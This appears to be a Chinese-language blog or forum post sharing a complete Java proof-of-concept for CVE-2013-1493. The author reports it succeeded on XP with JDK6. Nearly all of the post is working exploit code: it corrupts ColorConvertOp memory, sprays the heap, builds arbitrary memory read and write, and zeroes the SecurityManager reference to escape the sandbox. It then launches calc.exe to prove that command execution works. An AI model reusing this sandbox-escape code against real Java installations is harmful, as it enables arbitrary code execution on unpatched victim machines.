0x01 这个又是一个java CVE,效果前几个一样,可以用来关闭SecurityManager,poc我找了好久好久,整合了下,经过测试在xp+jdk6下成功,win7+jdk7失败,原因不详。
这个poc的技术感觉是采用了漏洞溢出的原理,然后对一大片地址进行了喷射,然后强制置位,从而关掉了 SecurityManager,大家有什么见解可以聊聊。
0x02 这个poc好长好长。。。。
package test; import java.awt.color.ColorSpace; import java.awt.image.BufferedImage; import java.awt.image.ColorConvertOp; import java.awt.image.ColorModel; import java.awt.image.ComponentColorModel; import java.awt.image.ComponentSampleModel; import java.awt.image.SampleModel; import java.io.IOException; public class TestCVE { private static final long serialVersionUID = 1L; static final int ARRAY_MAGIC = -1341411317; static final int ARRAY_OLDSIZE = 11; static final int ARRAY_NEWSIZE = 2147483647; static final int LEAK_MAGIC = -559035650; static final int SPRAY_ARRAY_COUNT = 2808685; static final int SPRAY_LEAK_COUNT = 2000000; volatile Leak[] _sleaks; volatile int[][] _sarrays; volatile int[] _bigArray; int[] _memBaseObj; long _memBaseIdx; long _memBasePtr; int[] soffsets; int[] doffsets; public void InitStep1() { this.soffsets = new int[] { 0, 1, 2, 3 }; this.doffsets = new int[] { 0, 1, 2, 50000000 }; } void spray() throws Exception { Runtime.getRuntime().gc(); Runtime.getRuntime().gc(); this._sleaks = new Leak[2000000]; this._sarrays = new int[2808685][]; try { for (int i = 0; i < this._sarrays.length; i++) { this._sarrays[i] = new int[11]; for (int j = 0; j < this._sarrays[i].length; j++) { this._sarrays[i][j] = -1341411317; } } for (int i = 0; i < this._sleaks.length; i++) this._sleaks[i] = new Leak("L"); } catch (OutOfMemoryError localOutOfMemoryError) { } } void getBigArray() throws Exception { for (int i = 0; i < this._sarrays.length; i++) { for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) { this._sarrays[i][j] = -1341411317; } } for (int i = 0; i < this._sarrays.length; i++) { if (this._sarrays[i].length != 2147483647) { for (int j = 0; (j < this._sarrays[i].length) && (j < 22); j++) { if ((j > 0) && (this._sarrays[i][(j - 1)] != -1341411317) && (this._sarrays[i][j] == -1341411317)) { this._sarrays[i][(j - 1)] = 2147483647; } } } } for (int i = 0; i < this._sarrays.length; i++) { if ((this._sarrays[i].length == 11) || (this._bigArray != null) || (this._sarrays[i].length != 2147483647)) continue; this._bigArray = this._sarrays[i]; } if (this._bigArray == null) throw new Exception("fail"); } //code by icefish!!!! long getAddress(Object obj) throws Exception { for (int i = 0; i < this._bigArray.length; i++) { if (this._bigArray[i] == -559035650) { int flag = 0; for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = null; flag += (this._bigArray[(i + 1)] == 0 ? 1 : 0); for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = "X"; flag += (this._bigArray[(i + 1)] != 0 ? 1 : 0); if (flag == 2) { for (int j = 0; j < this._sleaks.length; j++) this._sleaks[j].obj = obj; return this._bigArray[(i + 1)]; } } } throw new Exception("fail"); } void getMemBase() throws Exception { for (int i = 0; i < this._sarrays.length; i++) { for (int j = 0; (j < this._sarrays[i].length) && (j < 11); j++) { this._sarrays[i][j] = (j == 1 ? i : -1341411317); } } for (int i = 0; i < this._bigArray.length; i++) { if ((i > 0) && (this._bigArray[(i - 1)] != -1341411317) && (this._bigArray[i] == -1341411317) && (this._bigArray[(i + 1)] != -1341411317)) { int len = this._bigArray[(i - 1)]; int idx = this._bigArray[(i + 1)]; if ((idx >= 0) && (idx < this._sarrays.length) && (this._sarrays[idx] != null) && (this._sarrays[idx].length == len)) { this._memBaseObj = this._sarrays[idx]; this._memBaseIdx = i; break; } } } if (this._memBaseObj == null) { throw new Exception("fail"); } this._memBasePtr = getAddress(this._memBaseObj); if (this._memBasePtr == 0L) { throw new Exception("fail"); } this._memBasePtr += 12L; } int rdMem(long addr) { long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L; if ((offs >= 0L) && (offs < 2147483647L)) { return this._bigArray[(int) offs]; } return 0; } void wrMem(long addr, int value) { long offs = this._memBaseIdx + (addr - this._memBasePtr) / 4L; if ((offs >= 0L) && (offs < 2147483647L)) this._bigArray[(int) offs] = value; } public void InitStep2() { try { int sWidth = 168; int sHeight = 1; int spStride = 4; int ssStride = spStride * sWidth; int dWidth = sWidth; int dHeight = sHeight; int dpStride = 1; int dsStride = 0; ColorSpace scs = new MyColorSpace(0, this.soffsets.length - 1); ColorModel scm = new ComponentColorModel(scs, true, false, 1, 0); SampleModel ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.soffsets); BufferedImage sbi = new MyBufferedImage(sWidth, sHeight, 6, 0, scm, ssm); for (int i = 0; i < ssStride; i++) { sbi.getRaster().getDataBuffer().setElem(i, 1); } ColorSpace dcs = new MyColorSpace(0, this.doffsets.length - 1); ColorModel dcm = new ComponentColorModel(dcs, true, false, 1, 0); SampleModel dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.doffsets); BufferedImage dbi = new MyBufferedImage(sWidth, sHeight, 10, 0, dcm, dsm); ColorConvertOp cco = new ColorConvertOp(null); spray(); try { cco.filter(sbi, dbi); } catch (Exception localException) { } getBigArray(); getMemBase(); long sys = getAddress(System.class); long sm = getAddress(System.getSecurityManager()); sys = rdMem(sys + 4L); for (int i = 0; i < 2000000; i++) { long addr = sys + i * 4; int val = rdMem(addr); if (val == sm) { wrMem(addr, 0); if (System.getSecurityManager() == null) { break; } } } } catch (Exception localException1) { } } void alert() throws SecurityException { try { Runtime.getRuntime().exec("calc.exe"); } catch (SecurityException e) { // TODO Auto-generated catch block // e.printStackTrace(); throw e; } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } public static void main(String args[]) { System.out.println("1.SecurityManager 开启前测试"); TestCVE test = new TestCVE(); // test.checkPermission(); try { test.alert(); System.out.println("2.成功执行 exec"); } catch (SecurityException e) { System.out.println("2.you have no permission to exec"); } System.out.println("3.开启SecurityManager"); System.setSecurityManager(new SecurityManager()); System.out.println("4.SecurityManager 开启后测试"); try { test.alert(); System.out.println("5.成功执行 exec"); } catch (SecurityException e) { System.out.println("5.you have no permission to exec"); } test.disableSecurity(); System.out.println("6.CVE-2013-1493执行后"); try { test.alert(); System.out.println("7.成功执行 exec"); } catch (SecurityException e) { System.out.println("7.you have no permission to exec"); } } public void disableSecurity(){ InitStep1(); InitStep2(); } } class MyColorSpace extends ColorSpace{ private static final long serialVersionUID = 1L; public MyColorSpace(int type, int numcomponents) { super(type,numcomponents); } public float[] fromCIEXYZ(float[] value) { return null; } public float[] toCIEXYZ(float[] value) { return null; } public float[] fromRGB(float[] value) { return null; } public float[] toRGB(float[] value) { return null; } } class MyBufferedImage extends BufferedImage{ int _fakeType; ColorModel _fakeColorModel; SampleModel _fakeSampleModel; public MyBufferedImage(int width, int height, int imageType, int fakeType, ColorModel fakeColorModel, SampleModel fakeSampleModel) { super(width,height, imageType); this._fakeType = fakeType; this._fakeColorModel = fakeColorModel; this._fakeSampleModel = fakeSampleModel; } public int getType() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if (caller.contains("ICC_Transform.getImageLayout(")) { return this._fakeType; } return super.getType(); } public ColorModel getColorModel() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if ((caller.contains("ICC_Transform.getImageLayout(")) || (caller.contains("CMMImageLayout.<init>("))) { return this._fakeColorModel; } return super.getColorModel(); } public SampleModel getSampleModel() { String caller = java.lang.Thread.currentThread().getStackTrace()[2].toString(); if (caller.contains("ICC_Transform.getImageLayout(")) { return this._fakeSampleModel; } return super.getSampleModel(); } } class Leak { public volatile int magic; public volatile Object obj; public volatile Object obj2; public volatile Object obj3; public volatile Object obj4; public Leak(Object o) { this.magic = -559035650; this.obj = o; } }